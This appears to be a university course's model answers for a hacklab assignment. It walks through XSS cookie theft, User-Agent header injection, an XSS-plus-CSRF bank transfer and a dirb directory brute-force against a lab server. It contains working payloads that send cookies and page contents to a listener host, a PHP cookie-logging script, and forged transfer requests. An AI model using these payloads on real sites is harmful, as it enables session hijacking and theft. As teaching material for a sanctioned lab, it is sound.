

# Cybersecurity Fundamentals (CS3308/7308)

## Assignment 9 Example Answers

### Question 1 – XSS 1 (2 points + 1 bonus point)

- There is a really shoddy looking message board running at `http://10.8.0.240/a9q1/messageboard.php`
- You can login using with `username=<student id>` and `password=<studentid>` (you can't change the password)
- You can post public messages and "secret" messages viewable only by you and the administrators (people with 'administrator' role).
- Find the secret post made by the user `hacklab_admin`.

(Method 1)

The message board is obviously vulnerable to XSS, and there is zero input/output validation. The easiest way is to hijack the session cookie containing the PHPSESSID cookie value by sending `document.cookie` to your web server. There are many possible ways of getting the cookie (XMLHttpRequest, `document.location`, etc) but let's just use the `<img>` tag method covered in the workshop.

Thus, the payload is as follows (you have to change the IP address to match the one you have when connected to the Hacklab VPN).

```
<script>var img = document.createElement("img"); img.src="http://10.8.0.2/a1112407.php?cookie="+ document.cookie;</script>
```

The listening server PHP is the same one in the workshop:

```
<?php
// Is there a cookie GET parameter?
if($_REQUEST["cookie"]) {
    $file = fopen("cookies", "a");
    fwrite($file, "Cookie from: " . $_SERVER['REMOTE_ADDR'] . " \n");
    fwrite($file, "Date/time: " . date("F j, Y, g:i a") . " \n");
    fwrite($file, "Cookie: " . $_REQUEST["cookie"] . " \n\n");
    fclose($file);
    print("Thank you for the cookie :)\n");
}
else {
    print("No cookies sent :(\n");
}
?>
```

When entering the payload, you have to get rid of the `maxlength` attribute in Developer Tool to fit it in.

10.8.0.240/a9q1/messageboard.php

Welcome to the CSF2019 Message Board!

You are logged in as [a1112407] with role of [student]

logout

Enter your message:

`<script>var img = document.createElement('img');  
img.src='http://10.8.0.2/a1112407.php?cookie='+  
document.cookie;</script>` **XSS payload**

Secret Message (viewable only by you or administrators)

post message

Messages

Inspector Console Debugger Style Editor Performance Memory Network Storage

Search HTML

`<html>  
<head>  
<body>  
<h1>Welcome to the CSF2019 Message Board!</h1>  
You are logged in as [a1112407] with role of [student]  
<form method='post'>  
<div>  
<h2>Enter your message:</h2>  
<input type='text' value=''>  
</div>  
</form>  
</body>  
</html>` **Change maxlength**

After submitting the payload, wait patiently for 60 seconds, and you should get the admin's cookie.

```
root@kali:/var/www/html# cat cookies
Cookie from:10.8.0.2
Date/time: June 9, 2019, 3:18 am
Cookie: PHPSESSID=nq21qa75l8igjllounve2kv9is
Cookie from:10.8.0.230
Date/time: June 9, 2019, 3:19 am
Cookie: PHPSESSID=ce5th1pdej5vl4clcc1n28qacv
```

Now request the messageboard PHP using curl and the --cookie option to get the secret

```
root@kali: /var/www/html# curl --cookie "PHPSESSID=ce5th1pdej5vl4clcc1n28qacv" ht
tp://10.8.0.240/a9q1/messageboard.php
<html>
<head>
  <style type="text/css" src="style.css"></style>
</head>
<body>
  <h1>Welcome to the CSF2019 Message Board!</h1>

  You are logged in as [hacklab admin] with role of [administrator]<form method='p
  ost'><input type='submit' name='logout' value='logout'></form><br/><h2>Enter you
  <br/>
  <table border=1>
    <tr><th>Name</th><td>hacklab_admin</td></tr>
    <tr><td colspan=2>weaponry entasis ply holiday oxbow ecarpc</td></tr>
  </table>
```

Alternatively, you can use Burp to replace the cookie value and display the secret on the browser.

The screenshot shows the Burp Suite interface on the left and the CSF2019 MessagePad web application on the right. In Burp Suite, the 'Raw' tab of the HTTP history is selected, showing a GET request to /a9ql/messageboard.php. The 'Cookie' header is highlighted with a red box, containing 'PHPSESSID=csth1pdejsv4tccin28qacv'. On the right, the web application displays a 'Welcome to the CSF2019 MessagePad' message. Below the welcome message is a form to 'Enter your message' with a text input field and a 'post message' button. The 'Messages' section below shows a table with two entries: 'backlab admin' and 'weaponry entasis ply holiday oxbow epicarp', both highlighted with red boxes. A red arrow points from the 'Cookie' header in Burp Suite to the 'backlab admin' entry in the Messages table.

(Method 2)

The second method is to get the HTML source of what the admin is viewing using javascript. After some trial and error, the following payload works using the same PHP. There should be more elegant ways... Things to note are:

1. You have to use `window.onload` event to execute the script only after the whole page has loaded; otherwise you will only get the HTML source up to the injection point and miss out on the secret.
2. Either use `encodeURIComponent()` function against `document.body.innerHTML` to escape special characters like `'&'` and `'?'`, or alternatively use `document.body.innerText`

```
<script>>window.onload = function() {var img = document.createElement("img");  
img.src="http://10.8.0.2/a1112407.php?cookie="+ encodeURIComponent(document.body.innerHTML)};</script>
```

```

Cookie from:10.8.0.230
Date/time: June 9, 2019, 12:25 pm
Cookie:
<h1>Welcome to the CSF2019 Message Board!</h1>
[!student]
You are logged in as [hacklab admin] with role of [administrator]<form method="post"><input type="
ubmit" name="logout" value="logout"></form><br><h2>Enter your message:</h2>
<form method="post">
<textarea rows="3" cols="50" maxlength="50" name="message" placeholder="Entter your message (<50 c
ars)"></textarea><br>
<input type="checkbox" name="secret" value="1"><label for="secret">Secret Message (viewable only b
you or administrators)</label><br>
<input type="submit" name="post_message" value="post message">
</form>
<h2>Messages</h2><table border="1">
<tbody><tr><th>Name</th><td>all12407</td></tr>
<tr><td colspan="2"><script>
window.onload = function() {
var img = document.createElement("img");
img.src = "http://10.8.0.2/all12407.php?cookie=" + encodeURIComponent(document.body.innerHTML)
document.body.appendChild(img);
};
</script></td></tr>
</tbody></table>
<br><table border="1">
<tbody><tr><th>Name</th><td>all12407</td></tr>
<tr><td colspan="2"><script>
window.onload = function() {
var img = document.createElement("img");
img.src = "http://10.8.0.2/test.php?cookie=" + encodeURIComponent(document.body.innerHTML);
};
</script></td></tr>
</tbody></table>
<br><table border="1">
<tbody><tr><th>Name</th><td>hacklab_admin</td></tr>
<tr><td colspan="2"><div>weaponry entasis ply holiday oxbow epicarp</div></td></tr>

```

## Question 2 – XSS 2 (2 points)

- Same deal as Q1, with a different URL and secret: `http://10.8.0.240/a9q2/messageboard.php`
- Note that the program now use the PHP `htmlspecialchars()` function properly when outputting the message!
- Look for another XSS injection point (don't forget to check the page source!)

In this question, since all characters that enable XSS (`<`, `>`, `'`, `"`) are escaped, there is no way to execute JavaScript in the message field. However, upon closer inspection of the page source, you notice something interesting.

```

1 <html>
2 <head>
3   <style type="text/css" src="style.css"></style>
4 </head>
5 <body>
6 <h1>Welcome to the CSF2019 Message Board! (Q2)</h1>
7
8 You are logged in as [all12407] with role of [student]<form method="post"><input type="submit" name="logout" value="logout"></form><br><div>
9 <form method="post">
10 <textarea rows="3" cols="50" maxlength="50" name="message" placeholder="Entter your message (<50 chars)"></textarea><br>
11 <input type="checkbox" name="secret" value="1"><label for="secret">Secret Message (viewable only by you or administrators)</label></div>
12 <input type="submit" name="post_message" value="post message">
13 </form>
14 <h2>Messages</h2><table border="1">
15 <tr><th>Name</th><td>all12407</td></tr>
16 <tr><td colspan="2"><div>
17 <!-- UA: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0/--><table>
18 <tr><th>Name</th><td>hacklab_admin</td></tr>
19 <tr><td colspan="2"><div>Sorry, this message can only be viewed by the poster, or the administrator</div></td></tr>
20 </tr>
21 </tbody>
22 </table>
23 </div>
24 </body>
25 </html>

```

It seems that the PHP code is outputting the browser user agent (possibly for debugging purpose?). If this field is not sanitised, we can inject JavaScript similar to Q1. The minor difference is that because UA is printed inside HTML comments, you need to escape out of the comments by starting the payload with `-->` and ending with `<!--`. Thus payload will be:

```
--><script>var img = document.createElement("img"); img.src="http://10.8.0.2/a112407.php?cookie="+document.cookie;</script><!--
```

This is injected via the Burp proxy. Once

**1** Inject XSS payload in User-Agent header

**2** Get admin's cookie

**3** curl using intercepted cookie

### Question 3 – XSS 3 (2 points)

- Same deal as Q1 and Q2, with a different URL and secret: <http://10.8.0.240/a9q3/messageboard>.
- Almost all HTML tags are stripped, but certain tag is allowed on this board
- This game <https://xss-game.appspot.com/> is fun! I would recommend everyone to do it (it was an assignment task last year...)

After experimenting with various tags that can cause XSS (some typical ones that are often used with XSS include `<script>`, `<iframe>` and `<img>`) you find that `<img>` tag is allowed. The PHP code used here is

```
strip_tags($ POST['message'], '<img>')
```

Following the XSS games (or just googling XSS cheat sheet), it is possible to inject JavaScript using the **onerror** attribute of the `img` tag. Thus, the payload is something like this:

```

```

**1** payload

**2** Get cookie

**3** curl to get secret

### Question 4 – XSS + CSRF (2 points)

- Go to the CSF2018 Bank at <http://10.8.0.240/a9q4/bank.php>
- Test sending money to others (you can only transfer between 0 and 1000, exclusive).

- Only the hacklab\_admin users have a substantial balance
- As before the hacklab\_admin is reading his page every 60 seconds
- All transactions are cleared every 60 minutes in case someone injects bad payload that can disrupt others...
- Try to steal money from this user through XSS + CSRF
- Note that httponly is used in the session cookie, so forget trying to steal the session cookie
- Please DO NOT try to steal money from your classmates - just from hacklab\_admin
- There is no "secret" for this question - just provide evidence to show you have been able to steal money
- We have not covered POST-based CSRF in the workshop - google "csrf post xmlhttprequest"

In this question, there is no input validation/output sanitisation on the message field, so you can again execute arbitrary JavaScript on the admin's browser. However, since httponly is used, you cannot steal the admin's session cookie via JavaScript.

The aim is for the hacklab\_admin to send POST requests that transfers money to your account. First, perform a test transfer to hacklab\_admin to confirm the parameters for such a POST request. You can look at this in the request history in Burp.

**Get Money**

Username:

Successful!

**Transactions**

Time	From	To	Amount	Message
12:19:02	a1112407	hacklab_admin	1	hello

There are several ways of doing this question. Let's cover two.

(Method 1 – Not really “cross site” request forgery – just request forgery)

Next, lookup how to make an asynchronous javascript and xml (AJAX) call using the XMLHttpRequest object.

### Example: POST

from developer.mozilla.org

```
var xhr = new XMLHttpRequest();
xhr.open("POST", '/server', true);

//Send the proper header information along with the request
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

xhr.onreadystatechange = function() { // Call a function when the state changes.
  if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
    // Request finished. Do processing here.
  }
}
xhr.send("foo=bar&lorem=ipsum");
// xhr.send(new Int8Array());
// xhr.send(document);
```

We can modify the example code from developer.mozilla.org and craft a payload like this. We set the recipient to be yourself, and choose an arbitrary amount to transfer.

```
<script> var xhr = new XMLHttpRequest();
xhr.open("POST", "http://10.8.0.240/a9q4/bank.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("recipient=a1112407&amount=999&message=hello+hello&transact=Execute");
</script>
```

Wait a 60 seconds, and you should get your money.

## Transactions

Date	From	To	Amount	message
2019-06-09 12:45:10	hacklab_admin	a1112407	999	hello hello
2019-06-09 12:45:10	hacklab_admin	a1112407	999	hello hello

(Method 2 – let's make it "cross-site")

Create a PHP file "send\_money.php" on your Kali server this:

```
<html>
<body>
<h1>Please send me some money!</h1>
<script> var xhr = new XMLHttpRequest();
xhr.open("POST", "http://10.8.0.240/a9q4/bank.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("recipient=a1112407&amount=888&message=hello+hello&transact=Execute");
</script>
</body>
</html>
```

The payload can be something that creates an iframe to load the PHP.

```
<script>
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src", "http://10.8.0.2/send_money.php");
document.body.appendChild(ifrm);
</script>
```

In a more realistic attack, the attacker may try to entice the admin to click on a link via an email. In retrospect, a better question would have been a challenge where you can inject the URL in an iframe...

## Question 4 – Dirb (2 points)

- There is a "hidden" (a good example why security by obscurity is bad) folder on <http://10.8.0.240/> (Links to an external site.)Links to an external site. named after a Star Wars franchise character.
- Use a tool like Cewl (installed in Kali) to create a custom dictionary file
- Use dirb or dirbuster against the web server to find the secret

Use cewl to build a dictionary by selecting a webpage containing lots of Star Wars characters. Start with the Wikipedia page "List of Star Wars Characters", and run cewl as follows (depth of 2, minimum 7 characters) for about 30 minutes.

```
cewl -m 7 -d 2 -w sw.txt https://en.wikipedia.org/wiki/List_of_Star_Wars_characters
```

After the dictionary file "sw.txt" has been built, run dirb against the server to find the directory (Sleazebaggano – or lower case will also work) where there is the secret.

```
root@kali:~# dirb http://10.8.0.240/ sw_uniq.txt

-----
DIRB v2.22
By The Dark Raver
-----

START TIME: Sun Jun  9 10:53:18 2019
URL BASE: http://10.8.0.240/
WORDLIST_FILES: sw_uniq.txt

-----

GENERATED WORDS: 28245

Scanning URL: http://10.8.0.240/
==> DIRECTORY: http://10.8.0.240/Sleazebaggano/

root@kali:/var/log/apache2# curl http://10.8.0.240/Sleazebaggano/
nreason slab parlous signally parallax earplug
```